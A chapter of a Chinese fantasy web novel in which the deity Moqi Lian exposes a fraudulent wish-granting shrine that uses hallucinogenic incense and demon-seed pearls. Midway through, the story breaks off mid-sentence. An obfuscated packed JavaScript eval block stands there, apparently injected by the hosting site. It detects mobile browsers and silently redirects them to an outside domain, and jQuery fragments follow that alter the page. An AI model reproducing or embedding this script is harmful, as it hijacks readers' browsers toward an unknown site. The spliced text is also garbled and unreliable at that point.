金陵城城郊,两座祠庙对立而望。
一座是无人问津的怜生神祠,杂草丛生,建筑蒙尘;另一座是红红火火的心想事成祠,人来人往,喧嚣不断。
万俟怜站在怜生神祠门口,淡淡地朝祠内眺望。
神像边堆积了许多杂物,隐隐约约能看见一地干草和破烂的被褥,像是有人将这里当成居所了。
丛安气得龇牙咧嘴,骂骂咧咧,大意是暴殄天物,将师父好端端的神祠搞成什么样子了!
“挺好的呀,起码还能给人遮风挡雨。”万俟怜收回目光,紧了紧手上的缠布,轻声道,“一会儿不可随意说话,知道了吗?”
听到丛安信誓旦旦的保证后,万俟怜揉揉它的脑袋,旋即在毛毛的带领下侧身抬步进了心想事成祠。
引路人目中无人高傲无比,在见到万俟怜淡然出示小礼后才摆出一副热切殷勤的面孔,关切地问东问西。
“大人不像是金陵人,可是云游至此?我们心想事成祠,上至金钱权势下至康健和乐,只要您想我们都可以助您实现。我观大人仪表堂堂风度翩翩,只是有痨病之气缠身,不如就许个身体健康之愿,助您百病不侵生龙活虎!”
倒是个会说话的主儿。
万俟怜顺其自然表现出了一些兴致,继而问道:“当真什么都行?”
引路人拍拍胸脯:“就没有我们实现不了的!”
万俟怜沉吟片刻,说了句愿闻其详,而后在其指引下进了许愿祠,献出小礼中的黑色宝珠。
据引路人说此乃与无上神沟通的媒介,唯有将祷词念诵完整才能建立联系。
“有求必应有愿必成的无上神,愿您听从我的诉求。”
霎时四周灵力盛起,形成一股看不见摸不着的漩涡。
万俟怜可从未听过哪个神名是叫无上的,更不知谁家祈愿要念诵如此长的祷词,不免蹙了蹙眉头。
引路人在一旁点燃燃香,袅袅白烟缭绕腾空,片刻后消散不见。
“我愿……”
隐隐有妖力在万俟怜面前汇聚一个人形的影子,它摆出一副洗耳恭听的模样,在念诵中描摹他的模样,缓缓地、扭曲地变成另一个万俟怜。
“再见故友一面。”
万俟怜望向那个尚不成型的影子。
凡人向神明祈愿,多会在脑海中描绘出他们所希冀的愿景,此愿景便通过神祠内的神像,飞上九霄,注入信奉池。于是神明每日的工作便是从信奉池中捞出愿景,逐一查看,布施恩泽。
万俟怜见过太多太多希望,自然也有包括再见已逝故人一面的愿景。遗憾的是,逝者轮回再降世时,许愿之人亦故去,不得再见。
缘分若是未尽,下辈子仍能再见。
缘分若是尽了……
纵使是神,也无法让所有遗憾和希冀成真。
后来万俟怜想了个法子,他将此愿景打乱重组,趁着许愿之人沉入梦乡时,悄悄灌注一些,打造一场不经意的山水重逢。
重返旧梦里,驳杂的光影下故人侧身回望,浅浅勾唇,细细听着生者无尽的思念,在最后的最后献上最真切的敬言。
梦里重逢亦是重逢,故人所念亦是神明所念。
因此万俟怜着实好奇心想事成祠要当如何,才能叫他会见数百年前就已故去的万俟伶,故而许愿时,想过那扭曲的人影变成万俟伶的样子哈哈大笑,想过他再次被拉入一场美梦沉溺其中,甚至想过万俟伶真真实实地站在此处,体温、气息一般无二……
于是万俟怜打心底里有点小期许。
他等啊等,等到假的万俟怜挠挠脑袋滚来滚去不知所措,等到祠外丛安无聊到扒拉扒拉毛毛的衣角,然后跟他夸大地讲述自己师父有多能耐,甚至等到引路人换了一批又一批,也没能等出个所以然。
他可能在此呆了有一个时辰那么久,人影窜动数下突然散了,妖力也再觅不得。
万俟怜:“……?”死了?
他看了看黑色宝珠,光泽不再。
不久后另一个引路人气喘吁吁跑来,上气不接下气道:“祠……祠主说,大人您许的愿望……不切实际,请您更换……更换一下。”
不切实际?
他愣在原地,难以置信地听引路人讲述完一切。
“大人心中所念,可是一位叫万俟伶的人?生无存世,死无游魂,乃至地府生死簿都无记载,是一个从来都不存在的人,是无论如何也实现不了的。”
“大人是否编撰了一段过往,以至于给大人自己都欺骗了呢?”
万俟怜五雷轰顶,大脑一片空白,乃至眼前阵阵晕眩,跪倒在地。恐惧、不安、痛苦有如潮水涌来,沉重得叫人喘不上气。
怎么可能不切实际呢?
他亲自埋葬的万俟伶,他亲自为万俟伶立的碑……
不,不对,分明神界行刑时,他还看见万俟伶的生死簿被拿在执刑神的手上,他一五一十地念出了万俟伶的名字和生平,他真实存在过。
可真实存在过,又为何阴阳两界皆查不到他的影子?
他心脏处绞痛不已,好似有根线死死缠绕,勒得鲜血淋漓,挣脱不能。他浑身的经脉不知不觉被什么物什攀附,死死扼住、控制他的每一分灵力流窜。
引路人手执燃香,指尖一抖,香灰掉落在地,完完整整地抖成一个圈儿。
陡然一声狐叫扯回万俟怜的心绪,他才浑然发觉自己冷汗直出,浑身上下都不太对劲。
万千话语都融在狐叫里了。
万俟怜默了半晌,滞在半空的手虚空一抓,哑着声:“……我换。”
引路人的音色明显带上几分喜悦:“我等恭听。”
“我愿……”万俟怜赤着眼咬着牙,缓缓抬起头来,几乎是从齿缝中吐出字来,“长生。”
“我不相信你等说辞,那我便等,等到山崩地裂海枯石烂也要等他回来。”他倏然冷笑一声,“心想事成祠,可能做到?”
引路人蹙眉,僵硬而迟疑地点头,为其更换了黑色宝珠,重新燃起燃香。
于是万俟怜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356313|183630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再度重复那繁琐拗口的祷词,结果依然是……不切实际。
引路人脸色极其难看,左右不是人,快马加鞭请了所谓的祠主前来。
不是他人,正是万俟怜和丛安初至金陵城时衣着华丽四处派发小礼的人。
那人自称刘东,连连致歉后,搓手赔笑小心翼翼地请求万俟怜许一个稍微小一些的愿望,声道无上神近来自顾不暇神力锐减,这才难以实现他的心愿。
万俟怜默默望了一眼地上的香灰,欣然道:“那让我的小狐狸开口说话,总能办到了?”
“能能能!”
刘东连忙吆喝引路人送来全新的黑色宝珠,万俟怜便趁此间隙外出将丛安抱了回来,低声说了句多谢。
丛安甩甩尾巴,高昂脑袋。
是丛安那声狐叫将其从怪异的状态中拉出,这或许也是毛毛不知老母早已成为干尸的原因。
倘若他猜得不错,此心想事成祠压根没有心想事成的能力,有的只有迷惑神智的诡谲手段。那一圈燃香怕是掺了庄生蝶在内,神不知鬼不觉地将人引入虚无的希冀中。
万俟怜仔细观察了一番黑色宝珠,其内埋藏着一个小小的种子,更像是未成形的胚胎,从气息上来看,人气妖气交织,好生奇怪。
方才换过的两颗黑色宝珠,大抵是回天乏术了。
“大人若是准备好了,就请移步入祠中吧。”
万俟怜说好,将一丝神力倾注入黑色宝珠,抬步进了祠中,一气呵成念诵完所有祷词,眼睁睁看着那枚黑色宝珠中的胚胎长大成形,逐步变成了万俟怜的模样。
灵气从未有任何一刻像现在这般浓郁,乃至刮起一阵滔天大风,燃香、蒲团、杂七杂八的东西皆被大风刮得满天都是,惊得周围人纷纷撤出祠庙,生怕被砸伤。
万俟怜站在风里,衣袍猎猎作响,露出手脚关节处死死捆缚的绷带,还渗了很多血。不过这些都是题外话了,他抬起头来,看那个黑色妖怪顶着他的模样逆风降落,落至丛安的脑袋上,咿咿呀呀怪声怪气地叫。
黑色妖怪说:“大人。”
丛安喊:“师父。”
黑色妖怪错愕一瞬,不信邪继续道:“大人?”
丛安嘤嘤撒娇:“师父——”
一黑一白俩妖怪杠起来了,谁也不让着谁。
万俟怜忍俊不禁:“小狐,老实些。”
丛安不情不愿地学着黑色妖怪的口吻,多少带了不满的情绪:“大人。”
适时风息,祠中物什七零八落,竟无一砸在万俟怜身上。他掠过一片狼藉,不染纤尘,踱步而出,朝刘东等人微微俯身道:“今日给诸位添麻烦了。”
黑色妖怪重复:“添麻烦了。”
丛安有模有样:“添麻烦了。”
刘东见状大喜,也不去细想为何万俟怜能立在那诡异的狂风中安然无恙,连忙招呼引路人带两位去往金陵城城主府,安排一间上好的客房好生招待,以赔今日招待不周之罪。
竟是金陵城城主搞的心想事成祠?